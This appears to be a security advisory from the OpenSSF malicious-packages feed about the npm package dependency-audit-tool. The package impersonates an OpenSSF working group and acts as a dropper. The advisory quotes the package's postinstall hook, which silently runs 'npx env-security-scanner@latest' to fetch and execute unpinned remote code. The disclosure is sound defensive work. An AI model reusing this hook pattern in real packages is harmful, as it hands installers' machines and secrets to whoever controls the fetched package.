Advisory

MAL-2026-4236

Also known as: GHSA-xxq2-p383-26rc

Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.

Summary

Malicious code in dependency-audit-tool (npm)

Details

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (07144a70b38d5ada8c75d4cb8027f378cca7c094f823a544d056b07cb999e663)
package.json declares a postinstall hook that runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both main and bin) performs the identical npx env-security-scanner@latest audit_environment delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use --ignore-scripts. The package additionally impersonates an OpenSSF working group via its author field (OSSF Audit Working Group) and a non-existent github.com/ossf-audit/dependency-audit-tool repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of env-security-scanner can ship arbitrary code to every installer of this package at any future moment.

Source: ghsa-malware (00fd2958f2d146a5d2842bc190630b21c425e67f883e2eb3d43ee2d7794e77fc)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Severity

Not rated by the source.

Dates

Published
2026-05-22 01:53 UTC
Modified
2026-05-26 06:02 UTC

Affected packages and fixes

dependency-audit-tool

npm · All systems

Affected

  • introduced 0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: OpenSSF Malicious Packages · Apache-2.0

Sources & licences